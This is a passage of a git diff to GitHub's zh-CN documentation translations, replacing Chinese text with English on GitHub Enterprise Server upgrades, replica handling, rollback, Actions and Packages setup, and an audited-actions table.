如果更新内核、MySQL、Elasticsearch 或其他程序时需要重启,热补丁升级脚本会通知您。 +5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you. -### 使用热补丁升级包含副本实例的设备 +### Upgrading an appliance that has replica instances using a hotpatch {% note %} -**注**:如果要安装热补丁,则无需进入维护模式或停止复制。 +**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication. {% endnote %} -配置为高可用性和 Geo-replication 的设备除了会使用主实例之外,还会使用副本实例。 要升级此类设备,您需要逐个升级主实例和所有副本实例。 +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### 升级主实例 +#### Upgrading the primary instance -1. 请按照“[使用管理 shell 安装热补丁](#installing-a-hotpatch-using-the-administrative-shell)”中的说明升级主实例。 +1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." -#### 升级副本实例 +#### Upgrading a replica instance {% note %} -**注**:如果您要将多个副本实例作为 Geo-replication 的一部分运行,请逐一为每个副本实例重复此步骤。 +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. 按照“[使用管理 shell 安装热补丁](#installing-a-hotpatch-using-the-administrative-shell)”中的说明升级副本实例。 如果使用多个副本进行异地复制,则必须重复此过程,每次升级一个副本。 +1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} -## 使用升级包升级 +## Upgrading with an upgrade package -虽然您可以使用热补丁升级到功能系列中的最新补丁版本,但必须使用升级包升级到更新的功能版本。 例如,要从 `2.11.10` 升级到 `2.12.4`,您必须使用升级包,因为两者在不同的功能系列中。 更多信息请参阅“[升级要求](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)”。 +While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." -### 使用升级包升级单个设备 +### Upgrading a single appliance with an upgrade package {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 选择适当的平台并复制升级包(*.pkg* 文件)的 URL。 +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file). {% data reusables.enterprise_installation.download-package %} -4. 启用维护模式并等待 {% data variables.product.prodname_ghe_server %} 实例上的所有活动进程完成。 更多信息请参阅“[启用和排定维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 +4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% note %} - **注**:升级采用高可用性配置的主设备时,如果您按照“[升级主实例](#upgrading-the-primary-instance)”中的说明操作,设备应当已处于维护模式。 + **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)." {% endnote %} -5. 使用包文件名运行 `ghe-upgrade` 命令: +5. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg *** verifying upgrade package signature... ``` -6. 确认您要继续升级,并在包签名得到验证后重新启动。 新的根文件系统会写入辅助分区,实例会在维护模式下自动重启: +6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode: ```shell - *** 正在应用更新... + *** applying update... This package will upgrade your installation to version version-number Current root partition: /dev/xvda1 [version-number] Target root partition: /dev/xvda2 Proceed with installation? [y/N] ``` -7. 对于单个设备升级,请禁用维护模式,以便用户能够使用 {% data variables.product.product_location %}。 +7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}. {% note %} - **注**:升级采用高可用性配置的主设备时,您应当一直处于维护模式,直至已升级所有副本,复制是最新版本。 更多信息请参阅“[升级副本实例](#upgrading-a-replica-instance)”。 + **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)." {% endnote %} -### 使用升级包升级包含副本实例的设备 +### Upgrading an appliance that has replica instances using an upgrade package -配置为高可用性和 Geo-replication 的设备除了会使用主实例之外,还会使用副本实例。 要升级此类设备,您需要逐个升级主实例和所有副本实例。 +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### 升级主实例 +#### Upgrading the primary instance {% warning %} -**警告**:复制停止时,如果主实例发生故障,副本升级和复制再次开始之前执行的任何操作都将丢失。 +**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost. {% endwarning %} -1. 在主实例上,启用维护模式并等待所有活动进程完成。 更多信息请参阅“[启用维护模式](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)”。 +1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." {% data reusables.enterprise_installation.replica-ssh %} -3. 在副本实例或者所有副本实例(如果您将多个副本实例作为 Geo-replication 的一部分运行)上,运行 `ghe-repl-stop` 以停止复制。 -4. 按照“[使用升级包升级单个设备](#upgrading-a-single-appliance-with-an-upgrade-package)”中的说明升级主实例。 +3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication. +4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." -#### 升级副本实例 +#### Upgrading a replica instance {% note %} -**注**:如果您要将多个副本实例作为 Geo-replication 的一部分运行,请逐一为每个副本实例重复此步骤。 +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. 按照“[使用升级包升级单个设备](#upgrading-a-single-appliance-with-an-upgrade-package)”中的说明升级副本实例。 如果使用多个副本进行异地复制,则必须重复此过程,每次升级一个副本。 +1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} {% data reusables.enterprise_installation.start-replication %} -{% data reusables.enterprise_installation.replication-status %} 如果命令返回 `Replication is not running`,说明复制可能仍在启动。 等待 1 分钟左右,然后再次运行 `ghe-repl-status`。 +{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again. {% note %} - **注**:在重新同步过程中,`ghe-repl-status` 可能返回预期消息,提示复制落后。 - 例如:`CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` + **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind. + For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` {% endnote %} - If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. 更多信息请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。 + If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + +6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}. -6. 最后一个副本升级完毕且重新同步完成后,请禁用维护模式,以便用户能够使用 {% data variables.product.product_location %}。 +## Restoring from a failed upgrade -## 从失败的升级中恢复 +If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade. -如果升级失败或中断,您应将实例还原为其之前的状态。 完成此操作的过程取决于升级类型。 +### Rolling back a patch release -### 回滚补丁版本 +To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} -要回滚补丁版本,请使用带 `--allow-patch-rollback` 开关的 `ghe-upgrade` 命令。 {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} +For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)." -更多信息请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)”。 +### Rolling back a feature release -### 回滚功能版本 - -要从功能版本回滚,请从 VM 快照恢复,以确保根分区和数据分区处于一致的状态。 更多信息请参阅“[生成快照](#taking-a-snapshot)”。 +To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)." {% ifversion ghes %} -## 延伸阅读 +## Further reading -- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)" +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" {% endif %} diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md index cdddcb3c87..fb18184ae3 100644 --- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -21,7 +21,9 @@ topics: ## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data reusables.enterprise.upgrade-ghes-for-actions %} {% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md index 9d1e765d83..33a3273bf7 100644 --- a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -18,6 +18,8 @@ topics: ![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) +{% data reusables.enterprise.upgrade-ghes-for-actions %} + Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. ## Governance and compliance diff --git a/translations/zh-CN/content/admin/index.md b/translations/zh-CN/content/admin/index.md index cf364b8e3a..e9f1fb4c60 100644 --- a/translations/zh-CN/content/admin/index.md +++ b/translations/zh-CN/content/admin/index.md @@ -76,7 +76,7 @@ featuredLinks: - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}' - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}' - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}' - - '{% ifversion ghes %}/admin/enterprise-management/upgrading-github-enterprise-server{% endif %}' + - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' - '{% ifversion ghec %}/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}' diff --git a/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md b/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md index db3c386773..4e4de2165b 100644 --- a/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md +++ b/translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md @@ -1,7 +1,7 @@ --- -title: 关于升级到新版本 -shortTitle: 关于升级 -intro: '{% ifversion ghae %}您在 {% data variables.product.product_name %} 上的企业定期由 {% data variables.product.company_short %} 使用最新功能和漏洞补丁更新。{% else %}您可以通过将企业升级到新版本以获得 {% data variables.product.product_name %} 的新功能和漏洞补丁。{% endif %}' +title: About upgrades to new releases +shortTitle: About upgrades +intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}' versions: ghes: '*' ghae: '*' @@ -10,39 +10,40 @@ topics: - Enterprise - Upgrades --- +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -{% data variables.product.product_name %} 在不断改进,通过功能和补丁版本引入新功能和漏洞补丁。 {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} 是一项完全管理的服务,因此 {% data variables.product.company_short %} 可完成企业的升级过程。{% endif %} +{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %} -功能版本包括新的功能和功能升级,通常每季度进行一次。 {% ifversion ghae %}{% data variables.product.company_short %} 会将您的企业升级到最新的功能版本。 您的企业如有任何计划内的停机,都会提前通知您。{% endif %} +Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %} {% ifversion ghes %} -从 {% data variables.product.prodname_ghe_server %} 3.0 开始,所有功能版本开始都至少有一个候选版本。 候选版本是提议的功能版本,具有完整的功能集。 候选版本中可能存在错误或问题,只能通过实际使用 {% data variables.product.product_name %} 的客户反馈来找到。 +Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. -只要候选版本可用,您便可通过测试候选版本来提早访问最新功能。 您可以从支持的版本升级到候选版本,并在发布时从版本候选版本升级到更新版本。 只要版本发布,您便应该升级运行候选版本的任何环境。 更多信息请参阅“[升级要求](/admin/enterprise-management/upgrade-requirements)”。 +You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)." -候选版本应部署在测试或暂存环境中。 在测试候选版本时,请通过联系支持提供反馈。 更多信息请参阅“[使用 {% data variables.contact.github_support %}](/admin/enterprise-support)”。 +Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)." -我们将使用您的反馈应用漏洞补丁及任何其他必要的更改来创建稳定的生产版本。 每个新的候选版本都会为以前版本中发现的问题添加漏洞补丁。 当版本可供广泛采用时,{% data variables.product.company_short %} 将发布稳定的生产版本。 +We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release. {% endif %} {% warning %} -**警告**:升级到新的功能版本将导致几个小时的停机,在此期间,您的用户将无法使用企业。 您可以使用您的企业设置或 REST API 发布全球公告横幅,告知用户停机。 更多信息请参阅“[自定义您的实例上的用户消息](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)”和“[{% data variables.product.prodname_enterprise %} 管理员](/rest/reference/enterprise-admin#announcements)”。 +**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." {% endwarning %} {% ifversion ghes %} -只包含热补丁和漏洞补丁的补丁版本会更频繁地发布。 首次发布时通常提供补丁版本,没有候选版本。 升级到补丁版本通常需要不到五分钟的停机时间。 +Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime. -要将您的企业升级到新版本,请参阅“[发行说明](/enterprise-server/admin/release-notes)”和“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)”。 +To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endif %} -## 延伸阅读 +## Further reading -- `github/roadmap` 仓库中的 [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}){% ifversion ghae %} -- [ {% data variables.product.prodname_ghe_managed %} 发行说明](/admin/release-notes) +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository{% ifversion ghae %} +- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes) {% endif %} diff --git a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 6ed8568fa1..f1d277e45e 100644 --- a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -16,7 +16,10 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage +## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise + +{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage {% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. @@ -32,11 +35,11 @@ To enable {% data variables.product.prodname_registry %} and configure third-par - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## Step 2: Specify the package ecosystems to support on your instance +## Step 3: Specify the package ecosystems to support on your instance Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## Step 3: Ensure you have a TLS certificate for your package host URL, if needed +## Step 4: Ensure you have a TLS certificate for your package host URL, if needed If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. diff --git a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md index e1a928bcf2..f7076a7ad1 100644 --- a/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md +++ b/translations/zh-CN/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md @@ -1,6 +1,6 @@ --- -title: 审核的操作 -intro: 您可以在审核日志中搜索各种操作。 +title: Audited actions +intro: You can search the audit log for a wide variety of actions. miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/articles/audited-actions/ @@ -17,20 +17,27 @@ topics: - Security --- -## 身份验证 +## Authentication -| 操作 | 描述 | -| ------------------------------------ | ------------------------------------------------ | -| `oauth_access.create` | 已为用户帐户[生成>][generate token] [OAuth 访问令牌][]。 | -| `oauth_access.destroy` | 已从用户帐户中删除 [OAuth 访问令牌][]。 | -| `oauth_application.destroy` | 已从用户或组织帐户中删除 [OAuth 应用程序][]。 | -| `oauth_application.reset_secret` | 已重置 [OAuth 应用程序][]的密钥。 | -| `oauth_application.transfer` | 已将 [OAuth 应用程序][]从一个用户或组织帐户传送到另一个用户或组织帐户。 | -| `public_key.create` | 已将 SSH 密钥[添加][add key]到用户帐户中,或者已将[部署密钥][]添加到仓库中。 | -| `public_key.delete` | 已从用户帐户中移除 SSH 密钥,或已从仓库中移除[部署密钥][]。 | -| `public_key.update` | 已更新用户帐户的 SSH 密钥或仓库的[部署密钥][]。{% ifversion ghes %} -| `two_factor_authentication.enabled` | 已为用户帐户启用[双重身份验证][2fa]。 | -| `two_factor_authentication.disabled` | 已为用户帐户禁用[双重身份验证][2fa]。{% endif %} +Action | Description +------------------------------------ | ---------------------------------------- +`oauth_access.create` | An [OAuth access token][] was [generated][generate token] for a user account. +`oauth_access.destroy` | An [OAuth access token][] was deleted from a user account. +`oauth_application.destroy` | An [OAuth application][] was deleted from a user or organization account. +`oauth_application.reset_secret` | An [OAuth application][]'s secret key was reset. +`oauth_application.transfer` | An [OAuth application][] was transferred from one user or organization account to another. +`public_key.create` | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository. +`public_key.delete` | An SSH key was removed from a user account or a [deploy key][] was removed from a repository. +`public_key.update` | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %} +`two_factor_authentication.enabled` | [Two-factor authentication][2fa] was enabled for a user account. +`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %} + + [add key]: /articles/adding-a-new-ssh-key-to-your-github-account + [deploy key]: /guides/managing-deploy-keys/#deploy-keys + [generate token]: /articles/creating-an-access-token-for-command-line-use + [OAuth access token]: /developers/apps/authorizing-oauth-apps + [OAuth application]: /guides/basics-of-authentication/#registering-your-app + [2fa]: /articles/about-two-factor-authentication {% ifversion ghes %} ## {% data variables.product.prodname_actions %} @@ -39,150 +46,159 @@ topics: {% endif %} -## 挂钩 +## Hooks -| 操作 | 描述 | -| --------------------- | ----------- | -| `hook.create` | 已向仓库添加新挂钩。 | -| `hook.config_changed` | 已更改挂钩的配置。 | -| `hook.destroy` | 已删除挂钩。 | -| `hook.events_changed` | 已更改挂钩的配置事件。 | +Action | Description +--------------------------------- | ------------------------------------------- +`hook.create` | A new hook was added to a repository. +`hook.config_changed` | A hook's configuration was changed. +`hook.destroy` | A hook was deleted. +`hook.events_changed` | A hook's configured events were changed. -## 企业配置设置 +## Enterprise configuration settings -| 操作 | 描述 | -| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae-next %} -| `business.advanced_security_policy_update` | 站点管理员创建、更新或删除 {% data variables.product.prodname_GH_advanced_security %} 策略。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_advanced_security %} 的策略](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)”。{% endif %} -| `business.clear_members_can_create_repos` | 站点管理员取消了对在企业中的组织中创建仓库的限制。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)”。{% ifversion ghes > 3.1 %} -| `business.referrer_override_enable` | 站点管理员可以改写推荐策略。 更多信息请参阅“[配置企业的推荐策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。 | -| `business.referrer_override_disable` | 站点管理员可以禁用推荐策略。 更多信息请参阅“[配置企业的推荐策略](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)”。{% endif %} -| `business.update_member_repository_creation_permission` | 站点管理员限制在企业中的组织中创建仓库。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)”。{% ifversion ghes %} -| `enterprise.config.lock_anonymous_git_access` | 站点管理员锁定匿名 Git 读取权限,以防止仓库管理员更改该企业中仓库的现有匿名 Git 读取权限设置。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)”。 | -| `enterprise.config.unlock_anonymous_git_access` | 站点管理员解锁匿名 Git 读取权限,以允许仓库管理员更改该企业中仓库的现有匿名 Git 读取权限设置。 更多信息请参阅“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)”。{% endif %} +Action | Description +----------------------------------------------- | -------------------------------------------{% ifversion ghes > 3.0 or ghae-next %} +`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %} +`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %} +`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." +`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %} +`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %} +`enterprise.config.lock_anonymous_git_access` | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %} {% ifversion ghae %} -## IP 允许列表 +## IP allow lists -| 名称 | 描述 | -| ------------------------------------------:| --------------------------------------------------------------------- | -| `ip_allow_list_entry.create` | IP 地址已添加到 IP 允许列表中。 | -| `ip_allow_list_entry.update` | IP 地址或描述已更改。 | -| `ip_allow_list_entry.destroy` | IP 地址已从 IP 允许列表中删除。 | -| `ip_allow_list.enable` | IP 允许列表已启用。 | -| `ip_allow_list.enable_for_installed_apps` | 已为安装的 {% data variables.product.prodname_github_apps %} 启用 IP 允许列表。 | -| `ip_allow_list.disable` | IP 允许列表已禁用。 | -| `ip_allow_list.disable_for_installed_apps` | 已为安装的 {% data variables.product.prodname_github_apps %} 禁用 IP 允许列表。 | +Name | Description +------------------------------------:| ----------------------------------------------------------- +`ip_allow_list_entry.create` | An IP address was added to an IP allow list. +`ip_allow_list_entry.update` | An IP address or its description was changed. +`ip_allow_list_entry.destroy` | An IP address was deleted from an IP allow list. +`ip_allow_list.enable` | An IP allow list was enabled. +`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +`ip_allow_list.disable` | An IP allow list was disabled. +`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. {% endif %} -## 议题 +## Issues -| 操作 | 描述 | -| ---------------------- | ----------------------------------------------------------------------------------- | -| `issue.update` | 问题的正文文本(初始注释)已更改。 | -| 